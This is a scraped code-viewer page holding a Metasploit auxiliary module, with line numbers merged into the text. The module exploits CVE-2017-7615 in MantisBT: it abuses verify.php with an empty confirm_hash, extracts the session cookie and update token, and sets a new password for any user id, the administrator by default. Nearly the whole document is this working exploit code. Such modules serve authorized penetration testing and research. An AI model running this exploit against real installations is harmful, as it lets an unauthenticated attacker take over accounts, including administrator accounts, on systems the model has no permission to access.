Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/mantisbt_password_reset.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'MantisBT password reset',13'Description' => %q{14MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.15},16'License' => MSF_LICENSE,17'Author' => [18'John (hyp3rlinx) Page', # initial discovery19'Julien (jvoisin) Voisin' # metasploit module20],21'References' => [22['CVE', '2017-7615'],23['EDB', '41890'],24['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],25['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']26],27'Platform' => ['win', 'linux'],28'DisclosureDate' => '2017-04-16'29)30)3132register_options(33[34OptString.new('USERID', [ true, 'User id to reset', 1]),35OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),36OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])37]38)39end4041def check42res = send_request_cgi({43'uri' => normalize_uri(target_uri.path, '/login_page.php'),44'method' => 'GET'45})4647if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')48vprint_status('MantisBT detected')49return Exploit::CheckCode::Detected50else51vprint_status('Not a MantisBT Instance!')52return Exploit::CheckCode::Safe53end54rescue Rex::ConnectionRefused55print_error('Connection refused by server.')56return Exploit::CheckCode::Safe57end5859def run60res = send_request_cgi({61'uri' => normalize_uri(target_uri.path, '/verify.php'),62'method' => 'GET',63'vars_get' => {64'id' => datastore['USERID'],65'confirm_hash' => ''66}67})6869if !res || !res.body70fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')71end7273cookie = res.get_cookies7475if cookie == '' || !(res.body.include? 'Your account information has been verified.')76fail_with(Failure::NoAccess, 'Authentication failed')77end7879if datastore['PASSWORD'].blank?80password = Rex::Text.rand_text_alpha(8)81else82password = datastore['PASSWORD']83end8485if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/86token = ::Regexp.last_match(1)87else88fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')89end9091res = send_request_cgi({92'uri' => normalize_uri(target_uri.path, '/account_update.php'),93'method' => 'POST',94'vars_post' => {95'verify_user_id' => datastore['USERID'],96'account_update_token' => ::Regexp.last_match(1),97'realname' => Rex::Text.rand_text_alpha(rand(8..12)),98'password' => password,99'password_confirm' => password100},101'cookie' => cookie102})103104if res && res.body && res.body.include?('Password successfully updated')105print_good("Password successfully changed to '#{password}'.")106else107fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')108end109end110end111112113